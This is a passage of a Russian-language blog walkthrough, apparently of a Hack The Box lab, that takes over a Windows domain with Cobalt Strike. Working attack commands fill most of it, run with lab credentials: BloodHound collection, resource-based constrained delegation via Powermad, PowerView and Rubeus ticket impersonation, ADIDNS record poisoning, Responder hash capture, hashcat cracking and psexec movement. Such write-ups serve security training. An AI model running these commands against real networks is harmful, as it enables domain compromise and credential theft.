June 8, 2021

Как взломать доступный хост а потом и весь домен. Часть 3

Для удобства, добавим имеющиеся учетные данные в базу Cobalt Strike.

Теперь, давайте проведем разведку с помощью BloodHound, благо Cobalt позволяет запустить его из памяти.

execute-assembly /home/ralf/tmp/SharpHound.exe -d htb.local --domaincontroller 192.168.3.203 --ldapusername test-svc --ldappassword T3st-S3v!ce-F0r-Pr0d

Вся информация успешно собрана и записана в указанный архив. Давайте скачаем его.

Чтобы посмотреть граф, сначала запустим СУБД Neo4j, а потом bloodhound.

И мы получим следующий граф.

Набираем в поиске своего пользователя и смотрим, что мы имеем, в итоге обнаружим право GenericAll для хоста WEB.

Мы даже можем получить инструкцию по дальнейшей эксплуатации.ы даже можем получить инструкцию по дальнейшей эксплуатации.

Нам понадобятся следующие инструменты: PowerView, Powermad и Rubeus.

Первым делом нужно добавить импортировать Powermad и с помощью powerpick добавить новую учетную запись компьютера.

New-MachineAccount -MachineAccount RalfPC -Password $(ConvertTo-SecureString 'RalfRalf!23' -AsPlainText -Force)

Теперь нам нужно узнать идентификатор безопасности новой учетной записи. Дальше нам нужен модуль Powerview.

Get-DomainComputer RalfPC

Далее создадим объект учетных данных известного нам пользователя test-svc, чтобы выполнять команды от его имени.

$TestSvcPass = ConvertTo-SecureString 'T3st-S3v!ce-F0r-Pr0d' -AsPlainText -Force $TestSvcCred = New-Object System.Management.Automation.PSCredential('htb.local\test-svc', $TestSvcPass)

Давайте получим список избирательного управления доступом DACL нашей созданной ученой записи.

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4266912945-3985045794-2943778634-14605)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0)

А теперь установим полученный DACL в поле msDS-AllowedToActOnBehalfOfOtherIdentity атакуемой нами машины.

Get-DomainComputer WEB | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $TestSvcCred

В Cobalt выполним все эти команды за один раз.

Давайте проверим, что данное свойство установилось. Как можно наблюдать, SID соответствует SID’у созданной нами учетной записи.

$RawBytes = Get-DomainComputer WEB -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0 $Descriptor.DiscretionaryAcl

Теперь получим хеш пароля с помощью Rubeus, который мы выполним также в памяти.

execute-assembly /home/ralf/tmp/Rubeus.exe hash /password:RalfRalf!23

Теперь нужно имперсонировать тикет для пользователя iis-svc (по логике из вывода bloodhound). Но это ни к чему не приведет. Потратив много времени на разбор, участник сообщества досказал перепробовать всех известных пользователей (и для мы не получили код ответа 401 при обращении к ресурсу).

execute-assembly /home/ralf/tmp/Rubeus.exe s4u /user:RalfPC$ /rc4:4F2B5337B6E879AAE4FB0C15C57A8E9F /impersonateuser:lee /msdsspn:http/web.htb.local /ptt

Проверим локальное хранилище билетов и обнаружим там только что импортированный.

Проверим доступ к веб сервису.

$(Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://web.htb.local).StatusCode

Успешно! Далее я решил сохранить html файл, скачать его на локальную машину и посмотреть.

powerpick Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials -Uri "http://web.htb.local" -OutFile "C:\tmp\1.html" download 1.html

Добавим эти учетные данные в хранилище данных.

Попробуем расширить сеть, поскольку WinRM открыт на компьютере, мы собираемся его использовать. Заходим в список направлений, выбираем нужный нам хост и через контекстное меню открываем дополнительное окно -> Goto -> winrm64. Выберите remote_user из списка и создайте новый прослушиватель SMB.

И после подключения видим новую захваченную машину, правда без прав админа.

И как знак пройденного этапа, забираем еще один флаг.

Celestial flag

Проведя некоторую разведку на хосте остановимся на списке установленного программного обеспечения. Получить его можно из реестра.

Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table –AutoSizep

Здесь особо привлекают две первые позиции, а именно, имеем следующие два вектора атаки: поиск и работа с хранилищем KeePass или просмотр трафика. Но хранилище мы не находим, но вот нашему пользователю доступен Wireshark.

Давайте создадим дамп трафика с помощью tshark.

tshark.exe -i Ethernet0 -b filesize:10000 -w C:\Users\remote_user.HTB\Documents\snif.pcap

Мы не нашли никаких учетных данных, поэтому давайте углубимся в анализ и откроем этот файл в Wireshark на локальном компьютере. Мы нашли обращение к трем интересным доменам. Но по ним нет никаких записей.

Дело в том, что по умолчанию, любой аутентифицированный пользователь может добавить DNS запись. Давайте проверим DACL. Предварительно загрузим powershell скрипт PowerMad. И запросим имеющиеся зоны и разрешения для ADIDNS.

Как можно увидеть, все пользователи имеют право создать запись. Давайте это и сделаем с помощью Invoke-DNSUpdate. Укажем свой IP в качестве целевого.

Invoke-DNSupdate -DNSType A -DNSName db1 -DNSData 10.14.14.5 -Verbose

Атака выполнена успешно. Проверим это.

Nslookup db1.htb.local 192.168.3.203

Eсть нужная нам запись. Теперь активируем респондер и ловим хеш.

sudo responder -I tun0 -wrf

Давайте перебирать данный хеш.

hashcat -m 5600 hashes.txt ./tools/rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule -debug-mode=1 -debug-file=rule.txt -d 1

У нас есть пароль администратора. Попробуем использовать его для подключения. Как всегда, мы сначала добавляем в хранилище учетных данных, затем создаем еще один SMB Beacon и подключаемся к веб-узлу через psexec64.

Наша карта атаки будет похожа на рисунок ниже, при этом мы работаем в контексте SYSTEM.

Забираем флаг администратора, как подтверждение еще одного пройденного этапа.